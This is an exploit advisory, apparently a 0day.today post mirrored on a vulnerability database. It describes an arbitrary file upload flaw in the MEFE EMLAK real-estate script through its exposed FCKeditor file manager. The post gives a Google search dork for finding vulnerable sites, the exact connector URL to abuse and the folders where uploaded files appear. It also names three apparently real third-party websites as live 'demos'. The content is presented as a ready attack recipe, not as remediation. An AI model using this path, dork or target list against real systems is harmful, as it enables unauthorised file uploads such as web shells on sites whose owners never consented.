Lucene search
K

MEFE EMLAK (FCKEditor) Artibary File Upload

🗓️ 20 Apr 2011 00:00:00Reported by KacakType 
zdt
 zdt
🔗 0day.today👁 158 Views

MEFE EMLAK (FCKEditor) Arbitrary File Upload vulnerability, no specified price or version, web app available at emlak.mefe.ne

Code
__  ____/___  __ \___    |_ \/ /___  / / /___    |___  __/___  /
_  / __  __  /_/ /__  /| |__  / __  /_/ / __  /| |__  /   __  / 
/ /_/ /  _  _, _/ _  ___ |_  /  _  __  /  _  ___ |_  /    _  /__
\____/   /_/ |_|  /_/  |_|/_/   /_/ /_/   /_/  |_|/_/     /____/ 

~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KaCaK
[~] Contact : [email protected]
[~] HomePage : http://www.griadamlar.com
~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        _____                         Special Thanks GRAYHATZ, and GriAdamlar
__________  /_______ _________________
__  ___/_  __/_  __ `/__  ___/__  ___/
_(__  ) / /_  / /_/ / _  /    _(__  ) 
/____/  \__/  \__,_/  /_/     /____/  

          KaCaK - MUS4LLAT - ameN - KnocKout - TechnicaL - Neuromancer - MahseN - :Hélia And GriAdamlar Users

~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~

|~Web App.Name : MEFE EMLAK SCRİPTİ
|~Price : N/A
|~Version : N/A
|~Software: http://emlak.mefe.net/
|~Vulnerability Style : File Upload
|~Bug : File Upload
|~Google Keyword :  inurl:advert_detail.php?id=

~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Demos: 
http://www.emlax.de/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
http://www.dogoturizm.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
http://www.atlantagrup.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ===============================================================
    |{~~~~~~~~ Explotation|(FCKeditor) Artibary File Upload~~~~~~~~~~~}|
    
    http://$Site/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
   
    
    File Uploaded Link 
    
	http://$site/$path/files
	http://$site/files

    =============================================================



#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation